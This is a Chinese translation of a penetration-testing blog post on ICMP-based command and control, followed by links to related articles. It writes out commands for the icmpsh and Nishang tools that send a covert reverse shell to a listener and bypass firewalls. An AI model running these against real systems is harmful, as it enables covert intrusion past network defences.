通過ICMP協議反彈SHELL並執行命令
前言
內網中的大多數系統都位於防火牆和企業代理之後,以便控制入口以及出口流量。防火牆可以攔截到反連的shell,但ICMP協議基本上是不攔截的。因此,為了獲得shell並在目標主機上執行命令,可以使用ICMP協議作為隱藏通道進行連線。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用來執行此攻擊。推特上的大牛@Bernardo Damele已經將其匯入到他的工具sqlmap中,可以使用-os-pwn選項來發起攻擊。
以下命令將禁止ICMP回顯,這對於工具正常使用是至關重要的,啟動一個監聽器,該監聽器將等待目標主機的ICMP資料包:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4
icmpsh工具中還包含需要在目標主機上傳輸和執行的二進位制檔案。以下命令將向監聽主機傳送ICMP包:
icmpsh.exe -t 192.168.100.3
一個shell將通過ICMP接收,並且也可以通過這個管道來執行命令。
Daniel Compton(https://twitter.com/commonexploits)開發了一個自動化過程的指令碼。此指令碼所需的唯一輸入是目標主機的IP地址。該指令碼包含在icmpsh(https://github.com/inquisb/icmpsh)中。
工具有多個選項的命令和控制。
在Nishang框架中包含一個PowerShell模組,可以與icmpsh python指令碼結合使用,以獲取ICMP上的shell。在主機上,執行下面命令將會開始監聽ICMP資料包。
./icmpsh_m.py 192.168.100.3 192.168.100.4
在目標主機上,PowerShell的Icmp模組僅需要主IP地址:Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3
這個連結將會返回給主機一個shell
Resources
https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell
原文:https://pentestlab.blog/2017/07/28/command-and-control-icmp/
相關文章
- 網路通訊協議-ICMP協議詳解!協議
- ICMP協議協議
- [譯]通過HTTPS協議執行你的Flask程式HTTP協議Flask
- TCP IP之ICMP協議TCP協議
- ICMP協議的定義協議
- icmp和arp協議協議
- 【網路協議】ICMP協議、Ping、Traceroute協議
- DNS反彈ShellDNS
- ICMP Internet控制資訊協議協議
- 網路管理之ICMP協議篇協議
- ICMP協議結構全解(2)協議
- ICMP協議結構全解(1)協議
- 簡單而重要的協議:ICMP協議
- Linux通過shell執行自動化部署Linux
- Roundcube 1.2.2:通過郵件執行命令
- 通過API執行AutoCAD命令來…API
- Raft協議:通過TermId大的通過Raft協議
- Java執行shell、cmd命令Java
- shell 下執行mysql 命令MySql
- 通過shell指令碼監控sql執行頻率指令碼SQL
- R1-005 Shell外部命令執行過程
- 計算機網路之四:ICMP協議計算機網路協議
- 反彈shell不成功排查
- 【Mongo】shell命令列模式執行mongo命令Go命令列模式
- 通過RFT命令列執行測試指令碼命令列指令碼
- 淺談TCP、UDP、ICMP三種常見協議TCPUDP協議
- 通過故事引申網路協議TCP協議TCP
- Android通過https協議與伺服器端進行通訊AndroidHTTP協議伺服器
- python裡執行shell命令或cmd命令Python
- IDEA 執行 XXX 時報錯命令列過長,縮短命令列並重新執行Idea命令列
- awk小技巧之執行shell命令
- 在shell中執行SQL*Plus命令SQL
- 通過瀏覽器執行cmd命令、啟動steam瀏覽器
- 透析ICMP協議(五): 應用篇路由追蹤 (轉)協議路由
- Linux Shell 指令碼實現 tcp/upd 協議通訊Linux指令碼TCP協議
- BGP - 不同 AS 間執行的協議協議
- Oracle Weblogic叢集啟動通過HTTP等協議進行隧道通訊OracleWebHTTP協議
- 透析ICMP協議(三): 牛刀初試之一 應用篇ping(ICMP.dll) (轉)協議